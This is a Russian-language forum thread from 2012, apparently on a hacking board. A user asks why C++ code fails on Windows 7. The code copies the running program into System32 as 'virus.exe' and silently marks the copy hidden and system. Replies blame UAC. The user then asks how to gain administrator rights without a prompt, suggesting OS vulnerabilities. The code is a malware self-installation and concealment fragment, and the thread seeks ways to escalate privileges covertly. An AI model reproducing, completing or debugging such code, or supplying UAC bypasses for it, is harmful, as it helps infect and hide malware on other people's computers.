Не работает код в Windows 7 С++

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by tester_new, 11 May 2012.

  1. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Вообщем в XP пашет все нормально... решил проверить на семерке и тут облом...

    Задача: проверить существует ли файл, если НЕТ то скопировать самого себя и поставить атрибуты на новую копию.

    вот как пробую

    Code:
    if(access("C:\\Windows\\System32\\virus.exe",0)){	    
    CopyFile(__argv[0],"C:\\WINDOWS\\system32\\virus.exe", FALSE);
    WinExec("C:\\Windows\\System32\\attrib.exe +h +s C:\\Windows\\System32\\virus.exe",SW_HIDE);
    }
    
     
  2. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    http://www.rsdn.ru/article/qna/baseserv/fileexist.xml
     
  3. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    Дебагером клацал... код выполняется(дело даже не столько в access() ), но файл не копируется (в xp все работало нормально вроде)
     
  4. mironich

    mironich Elder - Старейшина

    Joined:
    27 Feb 2011
    Messages:
    733
    Likes Received:
    73
    Reputations:
    19
    От админа пробывал запускать?
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    банальное ограничение вызванное UAC. Если права UAC низкие, то даже админский аккаунт не поможет.
     
  6. cipa21

    cipa21 Elder - Старейшина

    Joined:
    9 Apr 2009
    Messages:
    548
    Likes Received:
    146
    Reputations:
    30
    У меня на семерке x64 все прекрасно этот код работает. Запускал прямо из студии
     
  7. tester_new

    tester_new Elder - Старейшина

    Joined:
    12 Feb 2012
    Messages:
    300
    Likes Received:
    45
    Reputations:
    24
    От админа не пробовал(чуть позже попробую) как можно запускать его от админа?, не выбирая при этом 'запуск от имени администратора' я так понимаю что нужно будет использовать только уязвимости самой ОС ??
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Наверное потому что студию ты запускал с повышенными правами или у тебя UAC отключен.